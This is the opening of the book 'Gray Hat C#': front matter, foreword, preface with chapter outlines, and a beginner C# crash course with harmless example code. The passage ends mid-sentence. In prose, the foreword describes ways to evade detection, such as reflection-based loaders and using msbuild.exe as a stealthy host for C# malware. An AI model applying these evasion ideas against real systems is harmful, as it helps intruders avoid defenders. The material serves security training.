Gray Hat C#

A Hacker's Guide to Creating and Automating Security Tools

Brandon Perry *Foreword by Matt Graeber*

no starch press

Gray Hat C#

Gray Hat C#

a Hacker’s Guide to Creating and

automating Security tools

by Brandon Perry

San Francisco

ISBN-10: 1-59327-759-8 ISBN-13: 978-1-59327-759-8

Publisher: William Pollock Production Editors: Alison Law and Serena Yang Cover Illustration: Jonny Thomas Interior Design: Octopod Studios Developmental Editors: William Pollock and Jan Cash Technical Reviewer: Brian Rogers Copyeditor: Barton D. Reed Compositor: Susan Glinert Stevens Proofreader: Paula L. Fleming Indexer: BIM Creatives, LLC.

For information on distribution, translations, or bulk sales, please contact No Starch Press, Inc. directly: No Starch Press, Inc. 245 8th Street, San Francisco, CA 94103 phone: 1.415.863.9900; sales@nostarch.com www.nostarch.com

Library of Congress Cataloging-in-Publication Data

Names: Perry, Brandon, author. Title: Gray hat C# : a hacker's guide to creating and automating security tools / Brandon Perry. Description: San Francisco : No Starch Press, Inc., [2017] Identifiers: LCCN 2017002556 (print) | LCCN 2017005221 (ebook) | ISBN 9781593277598 (pbk.) | ISBN 1593277598 (pbk.) | ISBN 9781593278311 (epub) | ISBN 1593278314 (epub) | ISBN 9781593278328 (mobi) | ISBN 1593278322 (mobi) Subjects: LCSH: C# (Computer program language) | Automatic control--Computer programs. | Computer security. Classification: LCC QA76.73.C154 P44 2017 (print) | LCC QA76.73.C154 (ebook) | DDC 005.8--dc23 LC record available at https://lccn.loc.gov/2017002556

Brief ContentS

ContentS in Detail

foreworD

As an attacker or defender developing software, one obviously needs to decide which language makes the most sense to use. Ideally, a language won’t be chosen simply because it is what the developer is most com- fortable with. Rather, a language should be chosen based on answering a series of questions such as the following:

- What are my primary target execution environments?
- What is the state of detection and logging for payloads written in this language?
- To what level does my software need to maintain stealth (for example, memory residence)?
- How well is the language supported for both the client side and the server side?

- Is there a sizable community developing in this language?
- What is the learning curve and how maintainable is the language?

C# has some compelling answers to these questions. As to the question about the target execution environment, .NET should be an obvious can- didate for consideration in a Microsoft-heavy environment because it has been packaged with Windows for years. However, with the open-sourcing of .NET, C# is now a language that can drive a mature runtime on every operating system. Naturally, it should be considered an extremely enticing language for true cross-platform support.

C# has always been the lingua franca of .NET languages. As you will see in this book, you will get up and running with C# in no time thanks to its low barrier to entry and massive developer community. Additionally, with .NET being a managed, type-rich language, compiled assemblies lend themselves to being trivially decompiled to C#. Therefore, someone writing offensive C# need not necessarily develop their capabilities in a vacuum. Rather, one can pull from a wealth of .NET malware samples, decompile them, read the equivalent of their source code, and “borrow” their capa- bilities. They could even go so far as to employ the .NET reflection API to load and execute existing .NET malware samples dynamically—assuming, of course, they’ve been reversed sufficiently to ensure they do nothing subversive.

As someone who has spent years bringing offensive PowerShell into the mainstream, my efforts have brought about massive security improve- ments and logging facilities in the wake of the surge of PowerShell mal- ware. The latest version of PowerShell (v5 as of this writing) implements more logging than any other scripting language in existence. From a defender’s perspective, this is fantastic. From a pentester, red teamer, or adversary’s perspective, this increases the noise of one’s attack significantly. For a book about C#, why do I mention this? Although it has taken me years to realize it, the more PowerShell I write, the more I acknowledge that attackers stand to gain far more agility by developing their tools in C# rather than doing so strictly in PowerShell. Allow me to explain:

- .NET offers a rich reflection API that allows one to load and dynami- cally interact with a compiled C# assembly in memory with ease. With all the additional introspection performed on PowerShell payloads now, the reflection API enables an attacker to better fly under the radar by developing a PowerShell payload that only serves as a .NET assembly loader and runner.
- As Casey Smith (@subTee) has demonstrated, there are many legitimate, Microsoft-signed binaries present on a default installation of Windows that serve as a fantastic host process for C# payloads—*msbuild.exe* being among the stealthiest. Using MSBuild as a host process for C# malware embodies the “living off the land” methodology perfectly—the idea that attackers who can blend into a target environment and introduce a minimal footprint will thrive for a longer period of time.
- Antimalware vendors to date still remain largely unaware of .NET assembly capabilities at runtime. There’s still enough unmanaged code malware out there that the focus hasn’t shifted to effectively hooking the .NET runtime to perform dynamic runtime introspection.
- With powerful access to the massive .NET class library, those comfort- able with PowerShell will find the transition to C# a relatively smooth one. Conversely, those comfortable with C# will have a lower barrier to entry in transferring their skills to other .NET languages such as PowerShell and F#.
- Like PowerShell, C# is a high-level language, which means developers do not have to worry about low-level coding and memory manage- ment paradigms. Sometimes, however, one needs to go “low level” (for example, interacting with the Win32 API). Fortunately, through its reflection API and P/Invoke and marshaling interface, C# allows one to get as low level as needed.

Everyone has a different motivation for learning C#. My motivation was the need to transition my PowerShell skills in order to become more agile with .NET code across more platforms. You, the reader, may have been drawn to this book as a means to acquire an attacker’s mindset to supplement your existing C# skills. Conversely, you may want to apply your existing attacker’s mindset to a language embraced by many across mul- tiple platforms. Whatever your motivation may be, get ready for a wild ride through Brandon’s head as he imparts his unique experience and wisdom in developing offensive and defensive C#.

Matt Graeber Microsoft MVP

PrefaCe

I get asked a lot why I like C# as much as I do. Being a supporter of open source software, a dedicated Linux user, and a contributor to Metasploit (which is written predominantly in Ruby), C# seems like an odd choice as my favorite language.

When I began writing in C# many years ago, Miguel de Icaza (of GNOME fame) had recently started a small project called Mono. Mono, in essence, is an open source implementation of Microsoft's .NET framework. C# as a lan- guage had been submitted as an ECMA standard, and the .NET framework was touted by Microsoft as a replacement for Java because code could be compiled on one system or platform and run on another. The only issue with this was that Microsoft had only released the .NET framework for the Windows operating system. Miguel and a small group of core contributors took it upon themselves to make the Mono project the bridge the .NET framework needed to reach the Linux community. Luckily, a friend of mine who had recommended I learn C# but knew I was also very interested in Linux, pointed me in the direction of this fledgling project to see whether I could use both C# and Linux. After that, I was hooked.

C# is a beautiful language. The creator and lead architect of the lan- guage, Anders Hejlsberg, got his start working on compilers for Pascal and later Delphi. This experience gave him a keen understanding of truly pow- erful features in an assortment of programming languages. After Hejlsberg joined Microsoft, C# was born around the year 2000. In its early years, C# shared a lot of language features with Java, such as Java's syntax niceties, but over time, it grew into its own language and introduced a slew of features before Java did, such as LINQ, delegates, and anonymous methods. With C#, you have many of the powerful features of C and C++ and can write full-fledged web applications using the ASP.NET stack or rich desktop appli- cations. On Windows, WinForms is the UI library of choice, but for Linux, the GTK and QT libraries are easy to use. More recently, Mono has intro- duced support for the Cocoa toolkit on OS X platforms. Even iPhones and Androids are supported.

why Should i trust Mono?

Detractors of the Mono project and the C# language claim that the technologies are unsafe to use on any platform that isn't Windows. Their belief that Microsoft will, at the drop of a dime, begin litigating Mono into oblivion keeps many people from even taking the project seriously. I don't find this to be a credible risk. As of this writing, not only has Microsoft acquired Xamarin—the company Miguel de Icaza created to support the Mono framework—it has made large swathes of the core .NET framework open source. It has embraced open source software in ways many people would have thought unimaginable under the leadership of Steve Ballmer. The new chief executive officer, Satya Nadella, has demonstrated that Microsoft has no problems at all with open source software, and the com- pany actively engages the Mono community to enable mobile development using Microsoft technologies.

who is this Book For?

Many people in security-oriented jobs, such as network and application security engineers, rely on automation to one extent or another—be it for scanning for vulnerabilities or analyzing malware. With many security professionals preferring to use a wide variety of operating systems, writing tools that everyone can easily run can be difficult. Mono is a great choice because it is cross-platform and has an excellent core set of libraries that makes automating many aspects of a security professional's job easy. If you're interested in learning how to write offensive exploits, automate scan- ning for infrastructure vulnerabilities, decompile other .NET applications, read offline registry hives, or create custom cross-platform payloads, then many of the topics covered in this book will get you started (even if you don't have a background in C#).

Organization of this Book

In this book, we'll cover the basics of C# and rapidly implement real-life security tools with the rich libraries available to the language. Right out of the gate, we'll write fuzzers to find possible vulnerabilities and write full-blown exploits for any vulnerabilities found. It should become very apparent how powerful the language features and core libraries are. Once the basics have been covered, we'll automate popular security tools such as Nessus, sqlmap, and Cuckoo Sandbox. Overall, once you've finished this book, you'll have an excellent repertoire of small libraries to automate many of the menial jobs security professionals often perform.

Chapter 1: C# Crash Course In this chapter, you learn the basics of C# object-oriented programming with simple examples, but we cover a wide variety of C# features. We start with a Hello World program and then build small classes to better understand what object-oriented pro- gramming is. We then move on to more advanced C# features, such as anonymous methods and P/Invoke. **Chapter 2: Fuzzing and Exploiting XSS and SQL Injection** In this chapter, we write small HTTP request fuzzers that look for XSS and SQL injection in a variety of data types by using the HTTP library to communicate with web servers. **Chapter 3: Fuzzing SOAP Endpoints** In this chapter, we take the con- cept of the fuzzers in the previous chapter to the next level by writing another small fuzzer that retrieves and parses a SOAP WSDL to find potential SQL injections by automatically generating HTTP requests. We do this while also looking at the excellent XML libraries available in the standard library. **Chapter 4: Writing Connect-Back, Binding, and Metasploit Payloads** In this chapter, we break from the focus on HTTP and move on to creat ing payloads. We first create a couple of simple payloads—one over TCP and one over UDP. Then you learn how to generate x86/x86_64 shellcode in Metasploit to create cross-platform and cross-architecture payloads.

Chapter 5: Automating Nessus In this chapter, we return to HTTP in order to automate the first of several vulnerability scanners, Nessus. We go over how to create, watch, and report on scans of CIDR ranges programmatically. **Chapter 6: Automating Nexpose** In this chapter, we maintain the focus on tool automation by moving on to the Nexpose vulnerability scanner. Nexpose, whose API is also HTTP based, can be automated to scan for vulnerabilities and create reports. Rapid7, Nexpose's creator, offers a free yearlong license for its community product, which is very useful for home enthusiasts.

Chapter 7: Automating OpenVAS In this chapter, we conclude the focus on vulnerability scanner automation with OpenVAS, which is open source. OpenVAS has a fundamentally different kind of API than both Nessus and Nexpose, using only TCP sockets and XML for its commu- nication protocol. Because it's also free, it is useful for hobbyists look- ing to gain more experience in vulnerability scanning on a budget. **Chapter 8: Automating Cuckoo Sandbox** In this chapter, we move on to digital forensics with the Cuckoo Sandbox. Working with an easy- to-use REST JSON API, we automate submitting potential malware samples and then reporting on the results. **Chapter 9: Automating sqlmap** In this chapter, we begin exploiting SQL injections to their fullest extent by automating sqlmap. We first create small tools to submit single URLs with the easy-to-use JSON API that is shipped with sqlmap. Once you are familiar with sqlmap, we integrate it into the SOAP WSDL fuzzer from Chapter 3, so any poten- tial SQL injection vulnerabilities can automatically be exploited and validated. **Chapter 10: Automating ClamAV** In this chapter, we begin to focus on interacting with native, unmanaged libraries. ClamAV, a popular and open source antivirus project, isn't written in a .NET language, but we can still interface with its core libraries as well as with its TCP dae- mon, which allows for remote use. We cover how to automate ClamAV in both scenarios. **Chapter 11: Automating Metasploit** In this chapter, we put the focus back on Metasploit so that you can learn how to programmatically drive it to exploit and report on shelled hosts via the MSGPACK RPC that ships with the core framework. **Chapter 12: Automating Arachni** In this chapter, we focus on auto- mating the black-box web application scanner Arachni, a free and open source project, though dual licensed. Using both the simpler REST HTTP API and the more powerful MSGPACK RPC that ships with the project, we create small tools to automatically report findings as we scan a URL. **Chapter 13: Decompiling and Reversing Managed Assemblies** In this chapter, we move on to reverse engineering. There are easy-to-use .NET decompilers for Windows, but not for Mac or Linux, so we write a small one ourselves. **Chapter 14: Reading Offline Registry Hives** In this chapter, we move on to incident response and focus on registry hives by going over the binary structure of the Windows registry. You learn how to parse and read offline registry hives, so you can retrieve the boot key of the sys- tem, used to encrypt password hashes stored in the registry.

acknowledgments

This book was 10 years in the making, even if it was only in a word proces- sor for three of those years. My family and friends have surely noticed that I've been constantly talking about C#, but have been more than lenient and understanding listeners. Props to the AHA brothers and sisters who inspired many of the projects in this book. Many thanks to John Eldridge, a family friend who introduced me to C# and really jump-started my interest in programming. Brian Rogers has been one of the best technical resources for bouncing ideas off of during the development of this book, as well as an excellent technical editor with his keen eye and insights. My production managers Serena Yang and Alison Law made the back and forth of the edit- ing process about as painless as it could be. Of course, Bill Pollock and Jan Cash were able to sculpt my muddy words into clear sentences that anyone could read. A huge thanks to the whole No Starch staff!

a Final note

Each of these chapters only scratches the surface of C#'s power, as well as the potential in the tools we automate and build—especially since many of the libraries we create are meant to be flexible and extensible. I hope this book shows you how easy it can be to automate mundane or tedious tasks and inspires you to continue building on the tools we started. You'll find source code and updates to the book at *https://www.nostarch.com/ grayhatcsharp/.*

1

C# CraSH CourSe

Unlike other languages, such as Ruby, Python, and Perl, C# programs can be run by default on all modern Windows machines. In addition, running programs written in C# on a Linux system such as Ubuntu, Fedora, or another flavor couldn't be easier, especially since Mono can quickly be installed by most Linux package managers like apt or yum. This puts C# in a better posi- tion to meet cross-platform needs than most languages, with the benefit of an easy and powerful standard library at your fingertips. All in all, C# and the Mono/.NET libraries make a compelling framework for anyone wanting to write cross-platform tools quickly and easily.

Choosing an ide

Most who want to learn C# will use an integrated development environ- ment (IDE) like Visual Studio for writing and compiling their code. Visual Studio by Microsoft is the de facto standard for C# development around the

globe. Free versions such as Visual Studio Community Edition are available for personal use and can be downloaded from Microsoft's website at *https:// www.visualstudio.com/downloads/.*

During the development of this book, I used MonoDevelop and Xamarin Studio depending on whether I was on Ubuntu or OS X, respec- tively. On Ubuntu, you can easily install MonoDevelop using the apt pack- age manager.

MonoDevelop is maintained by Xamarin, the company that also maintains Mono. To install it, use the following command:

```
$ sudo apt-get install monodevelop
```

Xamarin Studio is the OS X brand of the MonoDevelop IDE. Xamarin Studio and MonoDevelop have the same functionality, but with slightly differ- ent user interfaces. You can download the installer for the Xamarin Studio IDE from the Xamarin website at *https://www.xamarin.com/download-it/*.

Any of these three IDEs will fulfill our needs in this book. In fact, if you just want to use vim, you don't even need an IDE! We'll also soon cover how to compile a simple example using the command line C# compiler shipped with Mono instead of an IDE.

a Simple example

To anyone who's used C or Java, the C# syntax will seem very familiar. C# is a strongly typed language, like C and Java, which means that a variable you declare in your code can be only one type (an integer, string, or Dog class, for example) and will always be that type, no matter what. Let's start by taking a quick look at the Hello World example in Listing 1-1, which shows some basic C# types and syntax.

```
using ❶System;
namespace ❷ch1_hello_world {
class ❸MainClass {

public static void ❹Main(string[] ❺args) { ❻ string hello = "Hello World!"; ❼ DateTime now = DateTime.Now; ❽
Console.Write(hello); ❾ Console.WriteLine(" The date is " + now.ToLongDateString());

} } }
```

Listing 1-1: A basic Hello World application

Right off the bat, we need to import the namespaces we'll use, and we do this with a using statement that imports the System namespace ❶. This
enables access to libraries in a program, similar to #include in C, import in Java and Python, and require in Ruby and Perl. After declaring the library we want to use, we declare the namespace ❷ our classes will live in.

Unlike C (and older versions of Perl), C# is an object-oriented lan- guage, similar to Ruby, Python, and Java. This means that we can build complex classes to represent data structures, along with the methods for those data structures, while writing code. Namespaces allow us to organize our classes and code as well as to prevent potential name collisions, such as when two programmers create two classes with the same name. If two classes with the same name are in different namespaces, there won't be a problem. Every class is required to have a namespace.

With the namespace out of the way, we can declare a class ❸ that will hold our Main() method ❹. As we stated previously, classes allow us to create complex data types as well as data structures that better fit real-world objects. In this example, the name of the class doesn't actually matter; it's just a container for our Main() method, which is what really matters because the Main() method is what will execute when we run our sample application. Every C# application requires a Main() method, just like in C and Java. If your C# application accepts arguments on the command line, you can use the args variable ❺ to access the arguments passed to the application.

Simple data structures, such as strings ❻, exist in C#, and more com- plex ones, such as a class representing the date and time ❼, can also be created. The DateTime class is a core C# class for dealing with dates. In our example, we use it to store the current date and time (DateTime.Now) in the variable now. Finally, with our variables declared, we can print a friendly message using the Console class's Write() ❽ and WriteLine() ❾ methods (the latter of which includes a newline character at the end).

If you're using an IDE, you can compile and run the code by clicking the Run button, which is in the top-left corner of the IDE and looks like a Play button, or by pressing the F5 key. However, if you would like to com- pile the source code from the command line with the Mono compiler, you can easily do that as well. From the directory with your C# class code, use the mcs tool shipped with Mono to compile your classes into an executable, like so:

```
$ mcs Main.cs -out:ch1_hello_world.exe
```

Running the code from Listing 1-1 should print both the string "Hello World!" and the current date on the same line, as in Listing 1-2. On some Unix systems, you may need to run mono ch1_hello_world.exe.

```
$ ./ch1_hello_world.exe Hello World! The date is Wednesday, June 28, 2017
```

Listing 1-2: Running the Hello World application

Congratulations on your first C# application!

introducing Classes and interfaces

Classes and interfaces are used to create complex data structures that would be difficult to represent with just built-in structures. Classes and interfaces can have *properties*, which are variables that get or set values for a class or interface, and *methods*, which are like functions that execute on the class (or subclasses) or interface and are unique to it. Properties and methods are used to represent data about an object. For instance, a Firefighter class might need an int property to represent the firefighter's pension or a method that tells the firefighter to drive to a place where there's a fire.

Classes can be used as blueprints to create other classes in a technique called *subclassing*. When a class subclasses another class, it inherits the prop- erties and methods from that class (known as the *parent* class). Interfaces are used as a blueprint for new classes as well, but unlike classes, they don't have inheritance. Thus a base class that implements an interface won't pass down the interface's properties and methods if it's subclassed.

Creating a Class

We'll create the simple class shown in Listing 1-3 as an example that rep- resents a public servant data structure for someone who works every day to make our lives easier and better.

```
public ❶abstract class PublicServant {

public int ❷PensionAmount { get; set; } public abstract void ❸DriveToPlaceOfInterest(); }
```

Listing 1-3: The PublicServant abstract class

The PublicServant class is a special kind of class. It is an *abstract* class ❶. Generally, you can just create a class like you do any other type of variable, and it is called an *instance* or an *object*. Abstract classes, though, cannot be instantiated like other classes; they can only be inherited through subclass- ing. There are many types of public servants—firefighters and police offi- cers are two that come to mind immediately. It would therefore make sense to have a base class that these two types of public servants inherit from. In this case, if these two classes were subclasses of PublicServant, they would inherit a PensionAmount property ❷ and a DriveToPlaceOfInterest delegate ❸ that must be implemented by subclasses of PublicServant. There is no gen- eral "public servant" job that someone can apply for, so there isn't a reason to create just a PublicServant instance.

Creating an Interface

A complement to classes in C# are interfaces. *Interfaces* allow a program- mer to force a class to implement certain properties or methods that aren't inherited. Let's create a simple interface to start with, as shown in Listing 1-4. This interface is called IPerson and will declare a couple of properties that people usually have.

```
public interface ❶IPerson {

                    string ❷Name { get; set; } int ❸Age { get; set; } }
```

Listing 1-4: The IPerson interface

Interfaces in C# are usually prefaced with an I *to distinguish them from classes that may implement them. This* I *isn't required, but it is a very common pattern used in mainstream C# development.*

If a class were to implement the IPerson interface ❶, that class would need to implement both a Name ❷ and an Age ❸ property on its own. Otherwise, it wouldn't compile. I'll show exactly what this means when we implement the Firefighter class next, which implements the IPerson interface. For now, just know that interfaces are an important and useful feature of C#. Programmers familiar with interfaces in Java will feel right at home with them. C programmers can think of them as header files with function dec- larations that expect a *.c* file to implement the function. Those familiar with Perl, Ruby, or Python may find interfaces strange at first because there isn't a comparable feature in those languages.

Subclassing from an Abstract Class and Implementing an Interface

Let's put our PublicServant class and IPerson interface to some use and solid- ify a bit of what we have talked about. We can create a class to represent our firefighters that inherits from the PublicServant class and implements the IPerson interface, as shown in Listing 1-5.

```
public class ❶Firefighter : ❷PublicServant, ❸IPerson {
public ❹Firefighter(string name, int age) {
this.Name = name; this.Age = age; }
//implement the IPerson interface public string ❺Name { get; set; } public int ❻Age { get; set; }
public override void ❼DriveToPlaceOfInterest() {
GetInFiretruck(); TurnOnSiren(); FollowDirections(); }
private void GetInFiretruck() {} private void TurnOnSiren() {}
```

```
private void FollowDirections() {} }
```

Listing 1-5: The Firefighter class

The Firefighter class ❶ is a bit more complex than anything we've implemented yet. First, note that the Firefighter class inherits from the PublicServant class ❷ and implements the IPerson interface ❸. This is done by listing the class and interface, separated by commas, after the Firefighter class name and a colon. We then create a new *constructor* ❹ that is used to set the properties of a class when a new class instance is created. The new constructor will accept the name and age of the firefighter as arguments, which will set the Name ❺ and Age ❻ properties required by the IPerson inter- face with the values passed. We then override the DriveToPlaceOfInterest() method ❼ inherited from the PublicServant class with one of our own, calling a few empty methods that we declare. We're required to imple- ment the DriveToPlaceOfInterest() method because it's marked as abstract in the PublicServant class and abstract methods have to be overridden by subclasses.

Classes come with a default constructor that has no parameters to create instances. Creating a new constructor actually overrides the default constructor.

The PublicServant class and IPerson interface can be very flexible and can be used to create classes with completely different uses. We will imple- ment one more class, a PoliceOfficer class, as shown in Listing 1-6, using PublicServant and IPerson.

```
public class ❶PoliceOfficer : PublicServant, IPerson {
private bool _hasEmergency;
public PoliceOfficer(string name, int age) {
this.Name = name; this.Age = age; _hasEmergency = ❷false; }
//implement the IPerson interface public string Name { get; set; } public int Age { get; set; }
public bool ❸HasEmergency {
                                                        get { return _hasEmergency; } set { _hasEmergency = value; } }
public override void ❹DriveToPlaceOfInterest() {
GetInPoliceCar();
if (this.❺HasEmergency)
TurnOnSiren();
FollowDirections(); }
private void GetInPoliceCar() {} private void TurnOnSiren() {} private void FollowDirections() {} }
```

Listing 1-6: The PoliceOfficer class

The PoliceOfficer class ❶ is similar to the Firefighter class, but there are a few differences. Most notably, a new property called HasEmergency ❸ is set in the constructor ❷. We also override the DriveToPlaceOfInterest() method ❹ as in the previous Firefighter class, but this time, we use the HasEmergency prop- erty ❺ to determine whether the officer should drive the car with the siren on. We can use the same combination of parent class and interface to create classes that function completely differently.

Tying Everything Together with the Main() Method

We can use our new classes to test a few more features of C#. Let's write a new Main() method to show off these new classes, as shown in Listing 1-7.

```
using System;
```

```
namespace ch1_the_basics {
public class MainClass {
public static void Main(string[] args) {
Firefighter firefighter = new ❶Firefighter("Joe Carrington", 35); firefighter.❷PensionAmount = 5000;
PrintNameAndAge(firefighter); PrintPensionAmount(firefighter);
firefighter.DriveToPlaceOfInterest();
PoliceOfficer officer = new PoliceOfficer("Jane Hope", 32); officer.PensionAmount = 5500; officer.❸HasEmergency = true;
❹PrintNameAndAge(officer);
PrintPensionAmount(officer);
officer.❺DriveToPlaceOfInterest(); }
static void PrintNameAndAge(❻IPerson person)
```

```
{
Console.WriteLine("Name: " + person.Name); Console.WriteLine("Age: " + person.Age); }
static void PrintPensionAmount(❼PublicServant servant) {
if (servant is ❽Firefighter)
Console.WriteLine("Pension of firefighter: " + servant.PensionAmount); else if (servant is ❾PoliceOfficer)
Console.WriteLine("Pension of officer: " + servant.PensionAmount); } } }
```

Listing 1-7: Tying together the PoliceOfficer and Firefighter classes with a Main() method

To use the PoliceOfficer and Firefighter classes, we must instantiate them using the constructors we defined in the respective classes. We do this first with the Firefighter class ❶, passing a name of Joe Carrington and an age of 35 to the class constructor and assigning the new class to the firefighter variable. We also set the firefighter PensionAmount property ❷ to 5000. After the firefighter has been set up, we pass the object to the PrintNameAndAge() and PrintPension() methods.

Note that the PrintNameAndAge() method takes the IPerson interface ❻ as an argument, not a Firefighter, PoliceOfficer, or PublicServant class. When a class implements an interface, you can create methods that accept that interface (in our case, IPerson) as an argument. If you pass IPerson to a method, the method only has access to the properties or methods that the interface requires instead of to the whole class. In our example, only the Name and Age properties are available, which is all we need for the method.

Similarly, the PrintPensionAmount() method accepts PublicServant ❼ as its argument, so it only has access to the PublicServant properties and methods. We can use the C# is keyword to check whether an object is a certain type of class, so we do this to check whether our public servant is a Firefighter ❽ or a PoliceOfficer ❾, and we print a message depending on which it is.

We do the same for the PoliceOfficer class as we did for Firefighter, creating a new class with a name of Jane Hope and an age of 32; then we set her pension to 5500 and her HasEmergency property ❸ to true. After printing the name, age, and pension ❹, we call the officer's DriveToPlaceOfInterest() method ❺.

Running the Main() Method

Running the application should demonstrate how classes and methods interact with each other, as shown in Listing 1-8.

```
$ ./ch1_the_basics.exe Name: Joe Carrington Age: 35 Pension of firefighter: 5000
Name: Jane Hope Age: 32 Pension of officer: 5500
```

Listing 1-8: Running the basics program's Main() method

As you can see, the public servants' names, ages, and pensions are printed to the screen, exactly as expected!

anonymous Methods

The methods we have used so far have been class methods, but we can also use *anonymous methods*. This powerful feature of C# allows us to dynami- cally pass and assign methods using delegates. With a delegate, a delegate object is created that holds a reference to the method that will be called. We c reate this delegate in a parent class and then assign the delegate's reference to anonymous methods in subclasses of the parent class. This way, we can dynamically assign a block of code in a subclass to the delegate instead of overriding the parent class's method. To demonstrate how to use delegates and anonymous methods, we can build on the classes we have already created.

Assigning a Delegate to a Method

Let's update the PublicServant class to use a delegate for the method DriveToPlaceOfInterest(), as shown in Listing 1-9.

```
public abstract class PublicServant {
public int PensionAmount { get; set; } public delegate void ❶DriveToPlaceOfInterestDelegate(); public
DriveToPlaceOfInterestDelegate ❷DriveToPlaceOfInterest { get; set; } }
```

Listing 1-9: The PublicServant class with a delegate

In the previous PublicServant class, we needed to override the DriveToPlaceOfInterest() method if we wanted to change it. In the new PublicServant class, DriveToPlaceOfInterest() is replaced with a delegate ❶ and a property ❷ that allow us to call and assign DriveToPlaceOfInterest(). Now, any classes inheriting from the PublicServant class will have a delegate they can use to set their own anonymous method for DriveToPlaceOfInterest() instead of having to override the method within each class. Because they inherit from PublicServant, we'll need to update our Firefighter and PoliceOfficer class constructors accordingly.

Updating the Firefighter Class

We'll update the Firefighter class first with the new delegate property. The constructor, shown in Listing 1-10, is the only change we make.

```
public ❶Firefighter(string name, int age) {
this.❷Name = name; this.❸Age = age;
this.DriveToPlaceOfInterest ❹+= delegate {
Console.WriteLine("Driving the firetruck"); GetInFiretruck(); TurnOnSiren(); FollowDirections(); }; }
```

Listing 1-10: The Firefighter class using the delegate for the DriveToPlaceOfInterest() method

In the new Firefighter class constructor ❶, we assign the Name ❷ and Age ❸ like we did before. Next, we create the anonymous method and assign it to the DriveToPlaceOfInterest delegate property using the += operator ❹ so that calling DriveToPlaceOfInterest() will call the anonymous method. This anonymous method prints "Driving the firetruck" and then runs the empty methods from the original class. This way, we can add the customized code we want to each method within a class without having to override it.

Creating Optional Arguments

The PoliceOfficer class requires a similar change; we update the constructor as shown in Listing 1-11. Because we're already updating this class, we can also change it to use an *optional argument*, which is a parameter in a con- structor that does not have to be included when a new instance is created. We'll create two anonymous methods and use an optional argument to determine which method to assign to the delegate.

```
public ❶PoliceOfficer(string name, int age, bool ❷hasEmergency = false) {
this.❸Name = name; this.❹Age = age; this.❺HasEmergency = hasEmergency;
if (this.❻HasEmergency) {
this.DriveToPlaceOfInterest += delegate {
Console.WriteLine("Driving the police car with siren"); GetInPoliceCar(); TurnOnSiren(); FollowDirections(); }; } else {
this.DriveToPlaceOfInterest += delegate
{
Console.WriteLine("Driving the police car"); GetInPoliceCar(); FollowDirections(); }; } }
```

Listing 1-11: The new PoliceOfficer constructor

In the new PoliceOfficer constructor ❶, we set the Name ❸ and Age ❹ properties as we did originally. This time, however, we also use an optional third argument ❷ to assign the HasEmergency property ❺. The third argu- ment is optional because it does not need to be specified; it has a default value (false) when the constructor is provided with only the first two argu- ments. We then set the DriveToPlaceOfInterest delegate property with a new anonymous method, depending on whether HasEmergency is true ❻.

Updating the Main() Method

With the new constructors, we can run an updated Main() method that is almost identical to the first. It's detailed in Listing 1-12.

```
public static void Main(string[] args) {
Firefighter firefighter = new Firefighter("Joe Carrington", 35); firefighter.PensionAmount = 5000;
PrintNameAndAge(firefighter); PrintPensionAmount(firefighter);
firefighter.DriveToPlaceOfInterest();
PoliceOfficer officer = new ❶PoliceOfficer("Jane Hope", 32); officer.PensionAmount = 5500;
PrintNameAndAge(officer); PrintPensionAmount(officer);
officer.DriveToPlaceOfInterest();
officer = new ❷PoliceOfficer("John Valor", 32, true); PrintNameAndAge(officer); officer.❸DriveToPlaceOfInterest(); }
```

Listing 1-12: The updated Main() method using our classes with delegates for driving to places of interest

The only differences are in the last three lines, which demonstrate creating a new PoliceOfficer ❷ who has an emergency (the third argument to the constructor is true), as opposed to Jane Hope ❶, who has none. We then call DriveToPlaceOfInterest() on the John Valor officer ❸.

Running the Updated Main() Method

Running the new method shows how creating two PoliceOfficer classes— one with an emergency and one without—will print two different things, as demonstrated in Listing 1-13.

```
$ ./ch1_the_basics_advanced.exe Name: Joe Carrington Age: 35 Pension of firefighter: 5000 Driving the firetruck Name: Jane Hope
Age: 32 Pension of officer: 5500 ❶ Driving the police car
Name: John Valor Age: 32 ❷ Driving the police car with siren
```

Listing 1-13: Running the new Main() method with classes using delegates

As you can see, creating a PoliceOfficer class with an emergency causes the officer to drive with the siren on ❷. Jane Hope, on the other hand, can drive without her siren on ❶ because she has no emergency.

integrating with native Libraries

Finally, sometimes you need to use libraries that are available only in stan- dard operating system libraries, such as libc on Linux and user32.dll on Windows. If you plan to use code in a library that was written in C, C++, or another language that gets compiled down to native assembly, C# makes working with these *native* libraries very easy, and we will use this technique in Chapter 4 when making cross-platform Metasploit payloads. This feature is called Platform Invoke, or P/Invoke for short. Programmers often need to use native libraries because they are faster than a virtual machine such as used by .NET or Java. Programmers such as financial or scientific profes- sionals who use code to do heavy math might write the code that they need to be fast in C (for example, code for interfacing directly with hardware) but use C# to handle code that requires less speed.

Listing 1-14 shows a simple application that uses P/Invoke to call the standard C function printf() in Linux or to pop up a message box using user32.dll on Windows.

```
class MainClass {
[❶DllImport("user32", CharSet=CharSet.Auto)] static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
[DllImport("libc")] static extern void printf(string message);
static void ❷Main(string[] args) {
OperatingSystem os = Environment.OSVersion;
if (❸os.Platform == ❹PlatformID.Win32Windows||os.Platform == PlatformID.Win32NT) { ❺MessageBox(IntPtr.Zero, "Hello
world!", "Hello world!", 0); } else { ❻printf("Hello world!"); } } }
```

Listing 1-14: Demonstrating P/Invoke with a simple example

This example looks more complex than it is. We first declare two func- tions that will be looked up externally in different libraries. We do this using the DllImport attribute ❶. Attributes allow you to add extra information to methods (or classes, class properties, and so on) that is used at runtime by the .NET or Mono virtual machine. In our case, the DllImport attribute tells the runtime to look up the method we are declaring in another DLL, instead of expecting us to write it.

We also declare the exact function names and the parameters the func- tions expect. For Windows, we can use the MessageBox() function, which expects a few parameters such as the title of the pop-up and the text to be displayed.

For Linux, the printf() function expects a string to print. Both of these functions are looked up at runtime, which means we can compile this on any system because the function in the external library isn't looked for until the program is running and the function is called. This lets us com- pile the application on any operating system, regardless of whether that sys- tem has either or both libraries.
With our native functions declared, we can write a quick Main() method ❷ that checks the current operating system with an if statement using os.Platform ❸. The Platform property we use maps to the PlatformID enumeration ❹, which stores the available operating systems that the pro- gram could be running on. Using the PlatformID enumeration, we can test whether we are on Windows and then call the respective method: either MessageBox() ❺ on Windows or printf() ❻ on Unix. This application, when compiled, can be run on either a Windows machine or a Linux machine, no matter what operating system compiled it.

Conclusion

The C# language has many modern features that make it a great language for complex data and applications. We have only scratched the surface of some of the more powerful features like anonymous methods and P/Invoke. You'll become intimate with the concepts of classes and interfaces, as well as

